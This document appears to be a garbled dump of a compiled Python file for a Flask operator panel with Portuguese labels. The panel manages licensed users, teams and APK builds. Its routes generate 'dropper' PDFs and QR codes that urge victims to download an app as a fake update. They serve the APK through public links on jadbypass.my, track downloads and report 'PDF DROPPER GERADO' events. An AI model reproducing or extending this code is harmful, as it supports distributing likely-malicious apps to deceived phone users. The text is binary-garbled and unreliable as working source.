4S jnU [        ;   a  US	   R                  5        Hj  u  p4UR                  S/ 5       HO  nUR                  S5      U :X  d  M  U" X45      (       a  [        [        U    5      s  s  $ [        SSS.5      S4s  s  $    Ml     [        [        U    5      $ US	   R                  5        H  u  p4UR                  S/ 5       H  nUR                  S5      U :X  d  M  U" X45      (       d  [        SSS.5      S4s  s  $ UR                  S5      S:X  a6  U  S3n[        UR                  SS5      5       S3n[        SSXgS.5      s  s  $ UR                  S5      S:X  d  M  [        SSSS.5      s  s  $    M     [        SSS.5      $ )Nrx  rY   r8  r  Desconhecidor   r  r@  r:  r(  r  r/  c                 Z   > TS:X  a  gU T:X  a  gTS:X  a  UR                  S5      T:X  a  ggNr!  Tr  r/  Fr  owner_unameowner_udatar  current_teamr  s     rJ   _can_seestatus.<locals>._can_seeN  7    7",&7"{y'A\'QrI   r.  r  r8  r-  r  rq  r  rr  r  rs  r  r  Tr}  )	r}  r  r   r   rJ  r  r  rM  r   )r  rD  r  unamerc  r  r  ru  r  r  r  s           @@@rJ   r-  r-  C  s   vv&H5cr:H .a@A3FF:&L	Bg;??<488LLg;??<488CL <wK--/LE8R099Z(H4--&|H'=>>"n!#LMsRR	 1 0 |H-.. 7))+YYx,Eyy$0--"n!#LMsRR99X&+5$,:T!2J&5eii
B6O&P%QQU#VL"ks[e  $E  F  FYYx(F2"f!d#STT - , n!<==rI   z/download/<build_id>c           	        ^
^^ S[         ;  a  [        [        S5      5      $ [        R                  " SSU 5      S S n [         S   m[        5       nUS   R                  T0 5      R                  SS5      m
US   R                  T0 5      R                  S	5      mU
UU4S
 jn[        R                  U 5      nU(       Gd  US   R                  5        H  u  pEUR                  S/ 5       H  nUR                  S5      U :X  d  M  UR                  S5      S:X  d  M1  U" XE5      (       d  [        SS05      S4s  s  $ U  S3n[        UR                  SS5      5       S3n[        R                  R                  [        R                  S   U5      n	[        R                  R!                  U	5      (       a  [#        U	SUS9s  s  $   M     M     [        SS05      S4$ US   R                  5        HV  u  pEUR                  S/ 5       H;  nUR                  S5      U :X  d  M  U" XE5      (       d  [        SS05      S4s  s  $   MT     MX     UR                  S5      S:X  a  UR                  S5      (       av  [        R                  R                  [        R                  S   US   5      n	[        R                  R!                  U	5      (       a  [#        U	SUR                  SUS   5      S9$ [        SS05      S4$ )Nr  r%  rx  rY   r8  r:  r(  r  r/  c                 Z   > TS:X  a  gU T:X  a  gTS:X  a  UR                  S5      T:X  a  ggr  r  r  s     rJ   _can_downloaddownload.<locals>._can_download{  r  rI   r.  r  r-  r  r~  r  r8  rq  r  r  Tas_attachmentdownload_nameArquivo nao disponivelr  r  r  rt  ru  )r   r	   r
   r}  r  rJ  r  r  rM  r   r   r   r   r^   r  r  r   r   )r  rD  r  status_infor  rc  r  r  ru  r  r  r  r  s             @@@rJ   downloadr  q  s    ())vv&H5cr:H:&L	Bg;??<488LLg;??<488CL ""8,KwK--/LE8R099Z(H489LP[9[(66&'ABCGG$,:T!2J&5eii
B6O&P%QQU#VL "SZZ-H* UIww~~i00($Vbcc 1 0 !9:;S@@ 7))+YYx,Eyy$0$U22"G_#=>CC	 - , z"c)koom.L.LGGLLO!<k->XY	77>>)$$Yd+//Zhju  wD  kE  KF  G  GG567<<rI   z/user/buildsc                     S[         ;  a  [        / 5      S4$ [        5       n U S   R                  [         S   0 5      nUR                  S/ 5      n[         R                  " S5      S:X  a  UR                  S5      n/ nU S   R	                  5        HT  u  pVUR                  S5      U:X  d  M  UR                  S5      S:X  d  M3  UR                  UR                  S/ 5      5        MV     [        U5      $ [         R                  " S5      S	:X  aJ  / nU S   R	                  5        H&  u  pVUR                  UR                  S/ 5      5        M(     [        U5      $ [        U5      $ )
Nr  r@  r:  r.  r(  r  r/  r  r!  )r   r   rJ  r  rM  rq  )r  r  r.  r/  
all_buildsr  rc  s          rJ   user_buildsr    s,    r{C;D=WZ0"5DXXh#F{{6g%((9%
 M//1LEyy#w.599V3D
3R!!%))Hb"9: 2 z""{{6g%
 M//1LEeii"56 2z""6?rI   z/user/profilec                  N   S[         ;  a  [        0 5      S4$ [        5       n U S   R                  [         S   0 5      n[        [         S   UR                  S5      UR                  S5      UR                  S5      UR                  SSSSS	.5      UR                  S
5      S.5      $ )Nr  r@  r:  r(  r-  r,  r0  r   r#  r*  )r  r(  r-  r,  r0  r*  r  r"  s     rJ   user_profiler    s     r{C;D=WZ0"5DJ' ((8$"hh';</A\]pq3rshh|,  rI   z/admin/usersc                  
   S[         ;  a  [        / 5      S4$ [        5       n [         S   nU S   R                  U0 5      R                  S5      nUS:X  a  / nU S   R	                  5        H  u  pEUR                  XER                  S5      UR                  S5      UR                  S5      UR                  S5      [        S	 UR                  S
/ 5       5       5      UR                  S0 5      S.5        M     [        U5      $ US:X  a  U S   U   R                  S5      n/ nU S   R	                  5        H  u  pEUR                  S5      U:X  d  M  UR                  S5      S:X  d  M3  UR                  XER                  S5      UR                  S5      UR                  S5      UR                  S5      [        S UR                  S
/ 5       5       5      UR                  S0 5      S.5        M     [        U5      $ [        / 5      $ )Nr  r@  r:  r(  r!  r-  r,  r+  c              3   R   #    U  H  oR                  S 5      S:X  d  M  Sv   M     g7fr-  r  r-  Nr  rQ   r;  s     rJ   rT   admin_users.<locals>.<genexpr>  s;       ORZpUVtyty  {C  uD  FQ  uQqqZp   '	'r.  r0  )r  r(  r-  r,  r+  builds_countr0  r  r/  r  c              3   R   #    U  H  oR                  S 5      S:X  d  M  Sv   M     g7fr  r  r  s     rJ   rT   r    s=       SV^tYZx}x}  G  yH  JU  yUSTST^tr  )r   r   rJ  r  rM  r]   r\   )r  r  r  
users_listr  rc  r/  s          rJ   admin_usersr    s    r{C;D:&L=$$\26::6BLw
 M//1LE!99V+<))H-UYYOcEd %		. 93  ORZ_ZcZcdlmoZp  OR  LR!&?B!?	  2 z""ww--11)<
 M//1LEyy#w.599V3D
3R!! %yy/@#ii1SgIh$)IIn$=s  SV^c^g^ghpqs^t  SV  PV%*YY%C	#  2 z""2;rI   z/admin/create-userc                  (   S[         ;  a  [        SSS.5      S4$ [        R                  " SSS9=(       d    0 n [	        U [
        5      (       d  [        SSS.5      S	4$ U R                  S5      nU R                  S
5      n[	        U[        5      (       a  [	        U[        5      (       d  [        SSS.5      S	4$ US S nU R                  SS5      nU R                  SS5      n[        5       n[         S   nUS   R                  U0 5      R                  S5      nXS   ;   a  [        SSS.5      S	4$ US:X  aR  US;  a  [        SSS.5      S	4$ US:X  a  [        [        R                  " 5       5      OUS   U   R                  S5      nO0US:X  a  SnUS   U   R                  S5      nO[        SSS.5      S4$ U(       a-  [        R                  " 5       [        US9-   R                  5       OS n	[        U5      US[        R                  " 5       R                  5       UU	S/ USSSS.S.
US   U'   [!        U5        [#        USS U S!U S"U S#35        [%        S$S%U S&3S'S(USS).S*USS).S+U S,3SS)./S-9  [        SUR'                  5        S.3S.5      $ )/Nr  Fr9  r-  r@  Tr1  r4  r5  r   r6  r(  r  r+  r   r:  zUsuario ja exister!  )r  r  zRole invalidar  r/  r  r8  r  rY   r"  r   r#  r'  zCriar UsuariozNovo r    ( dias)zUSUARIO CRIADOAdmin **z** criou um novo usuario.rY  zNovo usuariorx  r=  Licencar  r|  z criado com sucesso)r   r   r   rA  rB  rF  r  r`   rJ  ra  rb  r   rA  r   rB  r   rR  r  r  
capitalize)
r  new_usernamenew_passwordnew_roler+  rD  r  r  r/  r,  s
             rJ   create_userr    s    5W=>CC$t4:DdD!!55FGH#MM88J'L88J'LlC((
<0M0M55FGH#MM$Lxx
+H88NB/L	B:&Lg;??<488@L'{"55HIJCOOw00uIJCOO'/7':#djjl#7L@Y@]@]^g@h		 W+l+//	:5_EFKKXd(,,.9,+GGRRTjn*<8(UWlln..0,0H*+!VWX!BwK bMoxj<.PRS_R``f/gh
<. 9:#ldKx4@L>)?4P
		 t83F3F3H2II\0]^__rI   z/admin/renew-licensec            	      0   S[         ;  a  [        SSS.5      S4$ [        R                  " SSS9=(       d    0 n U R	                  S5      nU R	                  SS	5      n[        5       n[         S   n[        XA5      (       d  [        SS
S.5      S4$ XS   ;  a  [        SSS.5      S4$ [        R                  " 5       [        US9-   R                  5       US   U   S'   X#S   U   S'   [        U5        [        USSU SU S35        [        SSU S3S.5      $ )Nr  Fr9  r-  r@  Tr1  r  r   r  r8  r:  Usuario nao encontrador  r  r,  r+  zRenovar Licencar~  z (+r   zLicenca renovada por r  )r   r   r   rA  r  rJ  r  r   rA  r   rB  rR  r  )r  r  r  rD  r  s        rJ   renew_licenser
    s#    5W=>CC$t4:D((:&K88FBD	B:&L<555_EFKKW+%55MNOQTTT6>llnyVZG[6[5f5f5hBwK12/3wK^,bM/9[MTFRX1YZt2GvU0STUUrI   z/admin/toggle-userc                  2   S[         ;  a  [        SSS.5      S4$ [        R                  " SSS9=(       d    0 n U R	                  S5      n[        5       n[         S   n[        X15      (       d  [        SSS.5      S	4$ XS
   ;  a  [        SSS.5      S4$ US
   U   S   S:X  a  SOSnXBS
   U   S'   [        U5        [        USSU SU 35        [        SSU SU S3US:X  a  SOSSUSS.SUR                  5       SS.SUSS./S9  [        SSU 3S.5      $ )Nr  Fr9  r-  r@  Tr1  r  r8  r:  r	  r  r-  r"  rZ  zToggle Usuarior~  z -> zSTATUS DE USUARIO ALTERADOr  z** alterou status de **r  r*  rv  rw  rx  zNovo statuszAlterado porr|  zUsuario )r   r   r   rA  r  rJ  r  rR  r  r  r  )r  r  rD  r  
new_statuss        rJ   toggle_userr  )  sT    5W=>CC$t4:D((:&K	B:&L<555_EFKKW+%55MNOQTTT!'{;7AXMS[J)3wKX&bM.)K=ZL0YZ$
<. 7}CH$
2hE"Z-=-=-?4P#ldK
		 t(:,0GHIIrI   z/admin/delete-userc            
         S[         ;  a  [        SSS.5      S4$ [        R                  " SSS9=(       d    0 n U R	                  S5      n[        5       n[         S   n[        X15      (       d  [        SSS.5      S	4$ XS
   ;  a  [        SSS.5      S4$ X:X  a  [        SSS.5      S4$ US
   U	 [        U5        [        USSU 35        [        SSU SU S3SSUSS.SUSS./S9  [        SSS.5      $ )Nr  Fr9  r-  r@  Tr1  r  r8  r:  r	  r  zNao pode deletar a si mesmor5  zDeletar Usuarior~  zUSUARIO DELETADOr  z** deletou o usuario **r  r  zDeletado porrx  zUsuario removidor|  zUsuario deletado)
r   r   r   rA  r  rJ  r  rR  r  r  )r  r  rD  r  s       rJ   delete_userr  E  s'    5W=>CC$t4:D((:&K	B:&L<555_EFKKW+%55MNOQTTT"55RSTVYYY
7K bM/9[M1JK
<. 7}CH#ldK'+N
	 t0BCDDrI   z/user/change-passwordc                  h   S[         ;  a  [        SSS.5      S4$ [        R                  " SSS9=(       d    0 n [	        U [
        5      (       d  [        SSS.5      S	4$ [        U R                  S
S5      5      n[        U R                  SS5      5      n[        U5      S:  a  [        SSS.5      S	4$ X:X  a  [        SSS.5      S	4$ [        5       nUS   R                  [         S   5      nU(       a  [        US   U5      (       d  [        SSS.5      S4$ [        U5      US   [         S      S'   UR                  SS5      S-   US   [         S      S'   [        U5        US   [         S      S   [         S'   [        [         S   SS5        [        SS[         S    S3SS9  [        SSS.5      $ )Nr  Fr9  r-  r@  Tr1  r4  r5  old_passwordrY   r  r   zSenha muito curta (minimo 6)zNova senha igual a antigar:  r   zSenha atual incorretar  r   r-  zTrocar SenhazSenha alterada via painelzTROCA DE SENHAr;  z** trocou a propria senha.r<  r+  zSenha alterada)r   r   r   rA  rB  rF  r`   r  r  rJ  rX  r   rR  r  r  )r  r  r  rD  r  s        rJ   change_passwordr  b  s    5W=>CC$t4:DdD!!55FGH#MM
dhh~r*
+C
dhh~r*
+C
3x!|55STUWZZZ
z55PQRTWWW	Bg;??7:./DtJ'7==55LMNPSSS3I#3NBwK
#$Z0:>((CTVW:X[\:\BwK
#$%67bM!#GWZ-@!ABS!TG
#^5PQ
WZ())CD
 t0@ABBrI   z/admin/historyc                      S[         ;  a  [        / 5      S4$ [        5       n U S   R                  [         S   0 5      R                  S5      nUS:X  a  [        U R                  S/ 5      5      $ [        / 5      $ )Nr  r@  r:  r(  r!  r=  r  )r  r  s     rJ   admin_historyr    sn     r{C;D=$$WZ%8"=AA&ILwtxx	2.//2;rI   c                      [         R                  R                  [        5      (       a1   [	        [        S5       n [
        R                  " U 5      sS S S 5        $ 0 $ ! , (       d  f       0 $ = f! [         a     0 $ f = f)Nr1  )r   r   r   PDF_TOKENS_FILErQ  rC  rE  r   )ri  s    rJ   _load_pdf_tokensr    sh    	ww~~o&&	os+qyy| ,+ I	 ,+ I  	I	s.   A. A	A. 
A+&A. +A. .
A<;A<c                      [        [        S5       n[        R                  " X5        S S S 5        g ! , (       d  f       g = f! [         a     g f = f)Nr7  )rQ  r  rC  rD  r   )tokensri  s     rJ   _save_pdf_tokensr    s<    /3'1IIf  ('' s*   A 2A 
A A  A 
AAc                 P   ^  T R                  S5      m [        U 4S jS 5       5      $ )Nr  c              3   L   >#    U  H  n[        TXS -    S5      S-  v   M     g7frj  r   g     o@Nra  rQ   rR   hs     rJ   rT   _hex_rgb.<locals>.<genexpr>  s%     <)QQq1Xr"5()   !$r   rj  r|   r  rn  r  s   `rJ   _hex_rgbr%    s!    	A<)<<<rI   c	           
        ^* SSK Jn	  SSKJn
  SSKJn  U
u  pU	R                  X
S9n[        U5      n[        U5      n[        U5      n[        U5      S-  S:  m*[        U*4S jU 5       5      n[        U*4S	 jU 5       5      nUR                  " U6   UR                  SSXS
SS9  UR                  " U6   UR                  SUSU-  -
  USU-  S
SS9  US-  nUSU-  -
  nSU-  n[        S U 5       5      nUR                  " U6   UR                  " U6   UR                  S5        UR                  UUUS
S
S9  UR                  S
S
S
5        SU-  nSU-  nUR                  UUS-  -
  USU-  -
  UUS
SS9  UR                  5       nUR!                  UUSU-  -
  5        UR#                  USU-  -
  USU-  -
  5        UR#                  USU-  -   USU-  -
  5        UR%                  5         UR'                  US
SS9  UR                  S
S
S
5        UR                  S5        UR)                  USU-  -
  USU-  -
  USU-  -   USU-  -
  5        UR                  " U6   [+        U5      S::  a  SOSnUR-                  SU5        UR/                  US-  USU-  -
  U5        UR                  " U6   UR-                  SS5        UR/                  US-  USU-  -
  U5        UR                  " U6   UR                  S5        UR)                  SU-  USU-  -
  USU-  -
  USU-  -
  5        UR                  " U6   UR-                  SS5        USU-  -
  n/ nUR1                  S 5       H  nUR3                  5       nU(       d  UR5                  S!5        M-  UR1                  5       nS!n U HT  n!U S"-   U!-   R3                  5       n"UR7                  U"SS5      US#U-  -
  ::  a  U"n M:  U (       a  UR5                  U 5        U!n MV     U (       a  UR5                  U 5        UR5                  S!5        M     U(       a  US$   S!:X  a  UR9                  5         US S%  H(  n#U#(       a  UR/                  US-  UU#5        USU-  -  nM*     SU-  n$S&U-  n%UU$-
  S-  n&US'U-  -
  n'UR                  " U6   UR;                  U&U'U$U%SU-  S
SS9  [        U5      S-  n(UR                  " U(S:  a  S(OS)6   UR-                  SS*5        U(       a  US S OS+n)UR/                  US-  U'S,U-  -   U)5        UR=                  UU&U'U&U$-   U'U%-   4SS-9  UR                  " U6   UR-                  SS.5        UR/                  US-  S'U-  S/5        UR?                  5         URA                  5         g )0Nr   canvasA4cmpagesizerl  r  c              3   n   >#    U  H*  nT(       a  [        S US-   5      O[        SUS-
  5      v   M,     g7fr-  rk  r   Nminr  rQ   xis_darks     rJ   rT   &_create_dropper_pdf.<locals>.<genexpr>  ,     Ks!'Aqvs1af~=s   25c              3   n   >#    U  H*  nT(       a  [        S US-   5      O[        SUS-
  5      v   M,     g7fr-  g333333?r   Nr1  r3  s     rJ   rT   r6    ,     Jr!'Aqvs1af~=rr8  r-  fillstroke333333?rj  g      @g?c              3   @   #    U  H  n[        S US-
  5      v   M     g7f)r         ?N)r  )rQ   r4  s     rJ   rT   r6    s     0CqC1T6NNCs   rk  gffffff?g?g333333??g?r         Helvetica-BoldrM   	HelveticarW   rO   g(@r|  rY   rC   r   r{  rh  ffffff?      ?r   r   r   r-  r-  r-     BAIXAR APLICATIVOzG?relativer  z1Clique no botao ou toque para baixar o aplicativo)!reportlab.pdfgenr(  reportlab.lib.pagesizesr*  reportlab.lib.unitsr,  Canvasr%  r\   rn  setFillColorRGBrectsetStrokeColorRGBsetLineWidthcircle	beginPathmoveTolineTor  drawPathr  r  setFontdrawCentredStringr&  r  r]   stringWidthpop	roundRectlinkURLshowPager  )+pdf_pathr  r/  r  download_urlbg_color	btn_color
text_color	btn_label	rl_canvasr*  r,  r7  r  cbgbtnrj  r  divcxicon_cyicon_ric_fillbody_wbody_hrc  	font_sizemsg_y	lines_out	paragraphwordsr  wordrm  lnbtn_wbtn_hbtn_xbtn_ybtn_lumlblr5  s+                                             @rJ   _create_dropper_pdfr    s    5*&DA/A
8
B
9
C
:
C"gkCG
KsK
KC
JrJ
JCrFF1aAaF(sFF1a#b&j!SV!AF6	
QB#b&jGVF0C00GwNN1HHR&qH3aA"WFVFFF2q='DG+VV!AFN	AHHR47"#HHR$r'\7T"W,-HHR$r'\7T"W,-GGIJJqqJ#1a NN1FF2B;$r')2B;$r'8IJs%jB&BIII	*!Q2Xu-sIIk2!QBY1NN3FF1R4RUA"Ha"R%i0sIIk2RKEI]]4(	OO%	R !D3J%,,.D}}T;3q1R4x?$$T*  T"# )$ Yr]b(n!UB/b 
 bDEFEY!OECFNEsKKueUDG!AKF#hlG'C-wW=II#%)CR.+>C!UT"W_c2IIlUE55=%%-HSTIUsIIk1!SV%XYJJLFFHrI   c                 .  ^^ SS K n[        U4S jS 5       5      n[        U4S jS 5       5      nUR                  UR                  R                  SSS9nUR                  U5        UR                  SS	9  UR                  XVS
9nUR                  U 5        g )Nr   c              3   d   >#    U  H%  n[        TR                  S 5      XS-    S5      v   M'     g7fr  rj  r   Nrb  r  rQ   rR   fg_colors     rJ   rT   !_create_qr_png.<locals>.<genexpr>  -     GYs8??3'A#.33Y   -0r"  c              3   d   >#    U  H%  n[        TR                  S 5      XS-    S5      v   M'     g7fr  r  rQ   rR   rf  s     rJ   rT   r    r  r  rh  rl  r  Tr  r  )	r  rn  r  r  ERROR_CORRECT_Hr  r  r  r  )	r   urlr  rf  r  fgrl  r  r  s	     ``     rJ   _create_qr_pngr    s}    	GYG	GB	GYG	GB	(8(8(H(HSU^_	`BKKGGG
--2-
5CHHTNrI   c
           
      	  ^( SSK Jn
  SSKJn  SSKJn  SSKJn  Uu  pU
R                  XS9n[        U5      n[        U5      n[        U5      n[        U5      S-  S:  m([        U(4S	 jU 5       5      n[        U(4S
 jU 5       5      nUR                  " U6   UR                  SSXSSS9  UR                  " U6   UR                  SUSU-  -
  USU-  SSS9  SU-  nUU-
  S-  nUSU-  -
  n UR                  U" U5      UUUUSS9  UR                  " U6   UR!                  S5        UR#                  USU-  -
  USU-  -
  USU-  -   USU-  -   SU-  SSS9  UR                  " U6   ['        U5      S::  a  SOSnUR)                  SU5        UR+                  US-  USU-  -
  U5        UR                  " U6   UR)                  SS5        UR+                  US-  USU-  -
  U5        UR                  " U6   UR!                  S5        UR-                  SU-  USU-  -
  USU-  -
  USU-  -
  5        UR                  " U6   UR)                  SS5        USU-  -
  n/ nUR/                  S 5       H  nUR1                  5       nU(       d  UR3                  S!5        M-  UR/                  5       nS!nU HT  nUS"-   U-   R1                  5       n UR5                  U SS5      US#U-  -
  ::  a  U nM:  U(       a  UR3                  U5        UnMV     U(       a  UR3                  U5        UR3                  S!5        M     U(       a  US$   S!:X  a  UR7                  5         US S%  H(  n!U!(       a  UR+                  US-  UU!5        US&U-  -  nM*     SU-  n"S'U-  n#UU"-
  S-  n$US(U-  -
  n%UR                  " U6   UR#                  U$U%U"U#S)U-  SSS9  [        U5      S-  n&UR                  " U&S:  a  S*OS+6   UR)                  SS,5        U	(       a  U	S S- OS.n'UR+                  US-  U%S/U-  -   U'5        UR9                  UU$U%U$U"-   U%U#-   4SS09  UR                  " U6   UR)                  SS%5        UR+                  US-  U%S1U-  -
  S25        UR+                  US-  S3U-  S45        UR;                  5         UR=                  5         g ! [$         a     GNjf = f)5Nr   r'  r)  r+  ImageReaderr-  rl  r  c              3   n   >#    U  H*  nT(       a  [        S US-   5      O[        SUS-
  5      v   M,     g7fr0  r1  r3  s     rJ   rT   !_create_qr_pdf.<locals>.<genexpr>)  r7  r8  c              3   n   >#    U  H*  nT(       a  [        S US-   5      O[        SUS-
  5      v   M,     g7fr:  r1  r3  s     rJ   rT   r  *  r;  r8  r-  r<  r?  g      @rj  rM   automaskr  皙?333333?r  r9  r  rE  g      %@rF  rW   g&@gffffff(@g      +@r|  rY   rC   r   r{  r  rB  rG  g333333?rk  rI  rJ  rh  r   rL  rM  rN  皙?z*Escaneie o QR Code acima ou toque no botaorH  z1Escaneie com seu celular para baixar o aplicativo)rP  r(  rQ  r*  rR  r,  reportlab.lib.utilsr  rS  r%  r\   rn  rT  rU  	drawImagerV  rW  ra  r   r  r]  r^  r  r&  r  r]   r_  r`  rb  rc  r  ))rd  r  r/  r  re  qr_png_pathrf  rg  rh  ri  rj  r*  r,  r  r7  r  rk  rl  rm  rj  r  rn  qr_sizeqr_xqr_yru  rv  rw  rx  ry  r  rz  rm  r{  r|  r}  r~  r  r  r  r5  s)                                           @rJ   _create_qr_pdfr    s   4*&/DA/A
8
B
9
C
:
C"gkCG
KsK
KC
JrJ
JCrFF1aAaF(sFF1a#b&j!SV!AF6"fGK1Dqt8D	K,dD'7QWX	S!	q	D3r6M4#b&='CF2BGcRTfDTVYZ\V\cdmno s%jB&BIII	*!Qb[%0sIIk2!Qb[(3NN3FF1R4T"Wa!B$hDG4sIIk2RKEI]]4(	OO%	R !D3J%,,.D}}T;3q1R4x?))$/  !!$' )  Yr]b(m!UB/b 
 bDEFEY!OECFNEsKKueUDG!AKF#hlG'C-wW=II#%)CR.+>C!UT"W_c2IIlUE55=%%-HSTIUsIIk1!UT"W_.Z[!SV%XYJJLFFHu  s   -A*R4 4
SSc                     [        5       nUR                  S/ 5      nUR                  SU 5        US S US'   [        U5        g )N__pdf_items__r   r  r  r  r  r  itemr  rM  s      rJ   _append_pdf_itemr  w  s@    FJJ+E	LLD#DSkF?VrI   c                     [        5       nUR                  S/ 5      nUR                  SU 5        US S US'   [        U5        g )N__qr_items__r   r  r  r  s      rJ   _append_qr_itemr  ~  s@    FJJ~r*E	LLD"4C[F>VrI   c                    [        5       nUR                  U / 5      nUS:X  a  U$ US:X  ax  US   R                  5        VVs1 s H  u  pxUR                  S5      U:X  d  M  UiM      n	nnU	R                  U5        U V
s/ s H  oR                  S5      U	;   d  M  U
PM     sn
$ U V
s/ s H  oR                  S5      U:X  d  M  U
PM     sn
$ s  snnf s  sn
f s  sn
f )Nr!  r  r:  r/  
created_by)r  r  rM  r0  )r  r  r  r  rD  r  	all_itemsr  r   allowedrR   s              rJ   _get_user_itemsr    s    F

3#Iww!#G!2!2!4Y!4i8HL8X1!4YL!$G9al(;w(F9GG Hy!EE,$7<$GAyHH ZGHs$   C C>CC'CCz/pub/<token>c                 j   [         R                  " SSU 5      S S n [        5       nUR                  U 5      nU(       d  [	        SS05      S4$ UR                  S5      nU(       a>   [
        R                  " 5       [
        R                  " U5      :  a  [	        SS05      S	4$  [         R                  " S
SUR                  SS5      5      nUR                  SS5      n[        R                  R                  [        R                  S   U S35      n[        R                  R                  U5      (       d  [	        SS05      S4$ UR                  SS5      S-   US'   [
        R                  " 5       R                  5       US'   [!        U5        [#        US[%        U5       S3S9$ ! [         a     GNf = f)N[^a-zA-Z0-9]rY   r6  r~  zLink invalido ou expirador  r  zLink expiradoi  [^a-zA-Z0-9_-]r  r  r  r  rq  r  r[  r   r-  last_downloadTr  )r}  r  r  r  r   r   utcnowr[  r   r   r   r^   r  r  r   rB  r  r   r   )r  r  r  r  r  r  r  s          rJ   public_apk_downloadr    s   FF?B.s3EFJJuE!<=>CC<(J	 8#9#9*#EE9:C?? F vv'UYYz2-FGHyyU+HSZZ8XJd:KLI77>>)$$!9:;S@@;2Q6E+%__.88:E/VYd_U]E^D__cBdee  		s   &;F$ $
F21F2z/pdf/buildsc            
         S[         ;  a  [        / 5      S4$ [        5       n [         S   nU S   R                  U0 5      R                  SS5      nU S   R                  U0 5      R                  S5      n/ nUS:X  a  U S   R	                  5        Hy  u  pVUR                  S/ 5       H^  nUR                  S	5      S
:X  d  M  UR                  UR                  S5      UR                  SS5      UR                  SS5      S.5        M`     M{     GO5US:X  a  U S   R	                  5        H  u  pVUR                  S5      U:X  d  M  UR                  S/ 5       H^  nUR                  S	5      S
:X  d  M  UR                  UR                  S5      UR                  SS5      UR                  SS5      S.5        M`     M     OU S   R                  U0 5      R                  S/ 5       H^  nUR                  S	5      S
:X  d  M  UR                  UR                  S5      UR                  SS5      UR                  SS5      S.5        M`     [        U5      $ )Nr  r@  r:  r(  r  r/  r!  r.  r-  r  r  r  r   r  rY   )r  r  r  r  )r   r   rJ  r  rM  r]   )rD  r  r  r  r.  r  rc  r;  s           rJ   pdf_list_buildsr    s?    r{C	B:&Lg;??<488LLg;??<488CLFwwK--/LEYYx,55?k1MMquuZ/@aeeT^`eNfxyx}x}  M  OQ  yR  #S  T - 0 
	 wK--/LEyy#|38R0AuuX+51553DRSRWRWXbdiRj|}  }B  }B  CQ  SU  }V  'W  X 1 0 Gr266xDAuuX+-155+<!%%PZ\aJbtutyty  {I  KM  uN  O  P E 6?rI   z/pdf/generatec                  
   S[         ;  a  [        SSS.5      S4$ [        R                  " SSS9=(       d    0 n [	        U [
        5      (       d  [        SSS.5      S	4$ [        R                  " S
S[        U R                  SS5      5      5      S S n[        U R                  SS5      5      S S R                  5       =(       d    Sn[        U R                  SS5      5      S S R                  5       n[        R                  " SS[        U R                  SS5      5      5      S S =(       d    Sn[        R                  " SS[        U R                  SS5      5      5      S S =(       d    Sn[        R                  " SS[        U R                  SS5      5      5      S S =(       d    Sn[        R                  " SS[        U R                  SS5      5      5      S S R                  5       =(       d    Sn[        [        U R                  S S5      =(       d    S5      S!5      nU(       d  [        SS"S.5      S	4$ [        5       n	[         S   n
U	S#   R                  U
0 5      R                  S$S%5      nU	S#   R                  U
0 5      R                  S&5      nSnS'nU	S#   R                  5       nU H  u  nnUS%:X  a  UU
:w  a  M  US(:X  a  UR                  S&5      U:w  a  M1  UR                  S)/ 5       HE  nUR                  S5      U:X  d  M  UR                  S*5      S+:X  d  M1  SnUR                  S,S'5      n  O   U(       d  M    O   U(       d  [        SS-S.5      S.4$ [        R                   " S/5      n[        R                   " S05      n["        R$                  S1   n[&        R(                  R+                  UU S235      nS3U 3n[-        5       n[.        R0                  " 5       [3        US49-   R5                  5       nXU
[.        R0                  " 5       R5                  5       US5S6S7.UU'   [7        U5         [9        UX#UUXEXgS89	  [=        U
S:S;U S<U S=35        [?        US>U 3S3U 3X.U
[.        R0                  " 5       R5                  5       US?.5        [A        S@SAU
 SBU SC3SDS'USSE.SFU
SSE.SGUSSE.SHUSSE.SIU SJ3SSE./SK9  [        SUS>U 3XS3U 3SL.5      $ ! [:         a&  n[        SS9[        U5       3S.5      S4s S nA$ S nAff = f)MNr  FLogin necessarior-  r@  Tr1  r4  r5  r  rY   r  r8  r  Atualizacao Disponivelr  r/  z1Toque no botao abaixo para instalar o aplicativo.r  [^a-fA-F0-9#]rf  #0e1117ry   rg  #16a34a	txt_color#e2e8f0z[^\w\s]ri  rL  r   expire_daysm  Build nao selecionador:  r(  r  r/  r   r  r.  r-  r  r  z%Build nao encontrado ou sem permissaor  rh  r  r  .pdfhttps://jadbypass.my/pub/r  r   pdfr  r  r  r*  r  r[  type)rf  rg  rh  ri  Erro ao gerar PDF: z	Gerar PDFzPDF gerado para build r  r  /pdf/download/pdf_idpdf_urlpub_urlr  r  r  r*  r  zPDF DROPPER GERADOzNovo PDF criado por **
** para **r  i3 rx  OperadorTituloLink Publicoz	Expira emr  r|  )r.  r  r  r  r  r  )!r   r   r   rA  rB  rF  r}  r  r`   r  r  r2  rb  rJ  rM  r   r   r  r  r   r   r^   r  r   r  r   rB  r  r  r   r  r  r  )r  r  	pdf_titlepdf_messagerf  rg  r  ri  r  rD  r  r  r  build_foundr  search_usersr  rc  r;  r  dl_token
pdf_folderrd  re  r  r  r   s                              rJ   pdf_generater    sQ    55GHI3NN$t4:DdD!!55FGH#MMvv'S*b1I-JKCRPHDHHW&>?@#FLLNjRjIdhhy*]^_`dadekkmK'S*y1Q-RSTVUVWd[dH'S+y1Q-RSTVUVWd[dI'S+y1Q-RSTVUVWd[dIz2s488KAT+U'VWX[Y[\bbd{h{Ic$((="5;<cBK55LMNPSSS	B:&Lg;??<488LLg;??<488CLKHg;$$&L$u:%%<*?7"uyy';|'K8R(AuuZ H,xK1O"55U3	 )
 ; % 55\]^`cccr"F  $HL)Jww||J6($8H.xj9LF//#i[&AALLNJ$,R^nvn}n}n  oJ  oJ  oL  \f  uv  @E  FF8V[Hih_g  JS  	i k-CH:RPXzYZ+[\^F83L[tu}t~Y  KT  zF  V^  Ve  Ve  Vg  Vq  Vq  Vs  CM  N  O
 j
"EX>,$G	UC#leL k]%+@DQ
	 tvNSYRZB[iq  Un  ow  nx  Sy  z  {  {!  [57J3q6(5STUWZZZ[s   6S 
T"T=TTz/pdf/download/<pdf_id>c                 Z   S[         ;  a  [        [        S5      5      $ [        R                  " SSU 5      S S n [
        R                  R                  [        R                  S   U  S35      n[
        R                  R                  U5      (       d  [        SS	05      S
4$ [        USSSS9$ )Nr  r%  r  rY   r  r  r  r~  zPDF nao encontrador  Tzaplicativo.pdfzapplication/pdf)r  r  mimetyper   r	   r
